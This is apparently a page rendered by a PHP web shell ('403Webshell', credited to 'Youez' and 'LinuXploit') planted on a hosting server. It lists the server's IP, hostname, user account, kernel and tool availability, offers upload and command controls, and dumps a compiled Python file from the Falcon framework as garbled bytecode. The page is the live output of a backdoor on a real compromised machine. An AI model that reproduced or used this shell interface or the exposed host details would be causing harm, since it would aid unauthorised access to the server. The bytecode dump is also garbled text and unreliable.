403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/falcon/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/falcon/response_helpers.pyc
a

[��f�@sJdZddlZddd�Zdd�Zdd�Zejr6d	d
�Zndd
�Zdd
�ZdS)z!Utilities for the Response class.�NcsR|����fdd�}�dur*�fdd�}n��fdd�}�fdd�}t||||�S)	a�Create a header getter/setter.

    Args:
        name: Header name, e.g., "Content-Type"
        doc: Docstring for the property
        transform: Transformation function to use when setting the
            property. The value will be passed to the function, and
            the function should return the transformed value to use
            as the value of the header (default ``None``).

    cs&z|j�WSty YdS0dS�N��_headers�KeyError��self��normalized_name��{/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/falcon/response_helpers.py�fget"szheader_property.<locals>.fgetNcs<|dur*z|j�=Wq8ty&Yq80nt|�|j�<dSr)rr�str�r�valuerr
r�fset)szheader_property.<locals>.fsetcs<|dur*z|j�=Wq8ty&Yq80n�|�|j�<dSrrr�r	�	transformr
rr2scs|j�=dSr)rrrr
r�fdel;szheader_property.<locals>.fdel)�lower�property)�name�docrrrrr
rr�header_propertys		rcCsZt|�dkr.d|d|d|d|df}nd|d|d|df}tjrVt|�}|S)zmFormat a range header tuple per the HTTP spec.

    Args:
        value: ``tuple`` passed to `req.range`
    �z%s %s-%s/%s�r��zbytes %s-%s/%s)�len�six�PY2r
)r�resultr
r
r�format_rangeAs
"r!cCsd|dS)z6Formats a Content-Disposition header given a filename.zattachment; filename="�"r
)rr
r
r�format_content_dispositionXsr#cCstd�|��S�z(Join an iterable of strings with commas.z, )r
�join��iterabler
r
r�format_header_value_list_sr(cCs
d�|�Sr$)r%r&r
r
rr(cscCsLz|�d�Wn8ty"YdSty4YdStyFYdS0dS)z1Check if argument encodes to ascii without error.�asciiFT)�encode�UnicodeEncodeError�UnicodeDecodeError�AttributeError)�sr
r
r�is_ascii_encodablehsr/)N)�__doc__rrr!r#rr(r/r
r
r
r�<module>s
-


Youez - 2016 - github.com/yon3zu
LinuXploit